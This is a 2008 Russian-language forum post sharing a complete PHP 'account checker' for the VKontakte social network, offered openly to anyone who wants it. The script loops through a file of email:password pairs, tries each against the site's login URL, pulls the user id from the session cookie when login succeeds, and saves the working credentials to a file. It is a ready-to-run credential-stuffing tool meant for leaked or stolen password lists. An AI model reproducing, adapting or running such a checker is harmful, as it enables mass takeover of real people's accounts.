Показать сообщение отдельно

  #9  
Старый 03.06.2008, 14:28
EST a1ien
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
Провел на форуме:
1269624

Репутация: 114
Отправить сообщение для EST a1ien с помощью ICQ
По умолчанию

PHP код:
<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#&     ВКонтакте АККчекер    0.1
#&     VKontakte ACCchecker  0.1
#&     By NNNS::[icq: 474374] 
#&     All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|

# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
#$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12"; 
# Файл с аккаунтами
$acclist "vkontakte.pass.txt";
# Файл с валидными аккаунтами
$vallist "valid-id.txt";
# Помещаем аккаунты в массив
$account file($acclist);
# Рабочие аккаунты
$valid   0;
# Нерабочие аккаунты
$invalid 0;

$uid=0;

function 
vkCheck($email,$pass) { 
global 
$uid;
    
# Открываем сокет
    
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10); 
    
# Отправляем заголовки
    
$out "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n"
    
$out .= "Host: vkontakte.ru\r\n"
    
$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12\r\n"
    
$out .= "Cookie: income=1\r\n"
    
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"
    
fwrite($fp,$out); 
  
$ans='';
  while(!
feof($fp))
  {
  
$ans.=fgets($fp,128);
  }
  
fclose($fp);
    if(
preg_match("/\b302 Found\b/is"$ans)) {

# вытаскиваем кукисы из ответа сервера
preg_match("/revalidate(.*?)Location/is"$ans$cookies);
$cookies str_replace("Set-Cookie: """,$cookies[1]);
preg_match("/remixmid=(.*?);/is"$cookies$cook2);
$uid=$cook2[1];
        return 
true;
    } else {
        return 
false;
    }
}
# Запускаем цикл
  
$fd fopen($vallist,"w");
for(
$i=0;$i<count($account);$i++) {
    
# Удаляем симолы перевода строки
    
$caccaunt          str_replace("\r\n","",$account[$i]);
    
# Разбиваем на e-mail и пароль
    
$array_ack explode(":",$caccaunt);
    
# Вызываем функцию проверки аккаунта
    
$answer            vkCheck($array_ack[2],$array_ack[3]);
    
# Если аккаунт рабочий, записываем его в файл

    
if ($answer == true) {
        
        
fputs($fd,$uid.":".$array_ack[2].":".$array_ack[3].":\n");       
        
$valid++;
    } else {
        
$invalid++;    
    }
    
sleep(1);
}
  
fclose($fd);
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>
Немного переделанный скрипт от NNNS кому надо пользуйтесь.